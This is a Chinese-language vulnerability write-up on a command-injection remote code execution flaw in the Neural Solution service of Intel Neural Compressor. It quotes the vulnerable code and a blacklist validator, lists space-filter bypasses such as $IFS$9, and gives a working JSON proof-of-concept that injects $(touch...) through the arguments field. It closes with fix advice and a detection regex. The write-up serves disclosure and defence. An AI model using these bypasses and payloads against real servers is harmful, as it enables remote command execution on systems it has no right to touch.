Neural Solution 代码执行漏洞分析
字数 1461 2025-11-17 12:02:17
Neural Solution 代码执行漏洞分析与利用教学
漏洞概述
Intel® Neural Compressor 的 Neural Solution 模块存在远程代码执行漏洞,攻击者可通过精心构造的恶意请求在服务端执行任意命令。
组件介绍
Intel® Neural Compressor
- 开源 Python 库
- 支持主流深度学习框架:TensorFlow、PyTorch、ONNX Runtime、MXNet
- 提供模型压缩技术:量化、剪枝、蒸馏、神经架构搜索
Neural Solution
- Neural Compressor 的 Web 接口服务模块
- 提供 RESTFUL/GRPC API
- 允许用户通过接口提交优化任务
漏洞原理分析
任务提交流程
- 用户通过
/task/submit/接口提交任务数据 - 服务端验证任务数据合法性
- 将任务参数存入数据库
- 准备并执行任务
关键代码分析
任务提交端点
@app.post("/task/submit/")
async def submit_task(task: Task):
if not is_valid_task(task.dict()):
raise HTTPException(status_code=422, detail="Invalid task")
# 数据库操作
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
task_id = str(uuid.uuid4()).replace("-", "")
# 任务数据存入数据库
sql = (r"insert into task(id, script_url, optimized, arguments, approach, requirements, workers, status)"
+ r" values pending')"
.format(task_id, task.script_url, task.optimized,
list_to_string(task.arguments), task.approach,
list_to_string(task.requirements), task.workers))
cursor.execute(sql)
conn.commit()
# 提交任务执行
task_submitter.submit_task(task_id)
conn.close()
命令执行关键函数
def launch_task(self, task: Task, resource):
"""Generate the mpi command and execute the task."""
full_cmd = self._parse_cmd(task, resource) # 解析任务数据
log_path = get_task_log_path(log_path=get_task_log_workspace(self.config.workspace),
task_id=task.task_id)
# 关键漏洞点:使用shell=True执行命令
p = subprocess.Popen(full_cmd,
stdout=open(log_path, "w+"),
shell=True) # nosec
安全检测机制
输入验证函数
def is_invalid_str(to_test_str: str):
"""验证字符串是否包含危险字符"""
return any(char in to_test_str for char in
[" ", '"', "'", "&", "|", ";", "`", ">"])
验证规则
- 过滤字符:空格、双引号、单引号、&、|、;、反引号、>
- 必填字段检查:["script_url", "optimized", "arguments", "approach", "requirements", "workers"]
- 数据类型验证:script_url、optimized需为字符串,arguments、requirements需为列表
命令拼接流程
-
任务准备阶段:
prepare_task()处理任务参数 -
脚本路径判断:
- 本地脚本:可能出现索引异常中断执行
- 远程URL:使用URL最后一个斜杠后的值作为脚本名
-
命令生成:
full_cmd结构如下:cd $task_path $mpi_cmd bash xxxx.sh -
SH文件内容:
xxxx cd xxxx python xxxxx.py [task.arguments]
漏洞利用技术
利用条件
- 绕过
is_invalid_str()函数的安全检查 - 控制
task.arguments参数内容 - 利用命令拼接实现代码执行
命令执行位置
最终命令格式:
python xxx.py --dataset_location=可控参数 --model_path=可控参数
绕过技术
空格绕过方法
$IFS$9${IFS}$IFS<<>%20(空格URL编码)%09(制表符URL编码)
命令注入技术
使用 $() 命令替换语法:
python aaa.py --aaa=$(恶意命令)
完整利用Payload
验证Payload
{
"script_url": "https://raw.githubusercontent.com/sunriseXu/onnx/main/main.py",
"optimized": "False",
"arguments": [
"--dataset_location=$(touch$IFS$9/tmp/test)",
"--model_path=$(touch$IFS$9/tmp/test)"
],
"approach": "static",
"requirements": [],
"workers": 1
}
Payload 说明
- script_url: 使用合法的远程Python脚本URL
- optimized: 设置为"False"确保使用远程脚本路径
- arguments: 注入恶意命令,使用
$IFS$9绕过空格过滤 - 验证方法: 通过
touch命令在/tmp/test创建文件验证执行成功
漏洞特征
影响范围
- Neural Solution 模块
- 使用 subprocess.Popen 且 shell=True 的版本
漏洞类型
- 远程代码执行(无回显)
- 命令注入漏洞
利用限制
- 需要绕过字符过滤机制
- 执行结果无直接回显
- 依赖外部验证手段确认执行成功
防护建议
代码修复方案
-
避免使用shell=True
# 不安全 subprocess.Popen(command, shell=True) # 安全 subprocess.Popen(command.split(), shell=False) -
增强输入验证
def enhanced_validation(input_str): dangerous_patterns = [r'\$\(', r'`', r'\|\|', r'&&'] for pattern in dangerous_patterns: if re.search(pattern, input_str): return False return True -
使用参数化执行
subprocess.Popen([python_path, script_path] + arguments_list)
安全开发实践
- 对用户输入进行严格的白名单验证
- 避免将用户输入直接拼接为系统命令
- 使用最小权限原则运行服务
- 实施完整的输入输出编码
总结
该漏洞源于Neural Solution模块对用户输入验证不充分,结合危险的命令执行方式,导致远程代码执行风险。通过精心构造的Payload可以绕过现有的安全机制,在服务端执行任意命令。修复关键在于改进输入验证机制并采用安全的命令执行方式。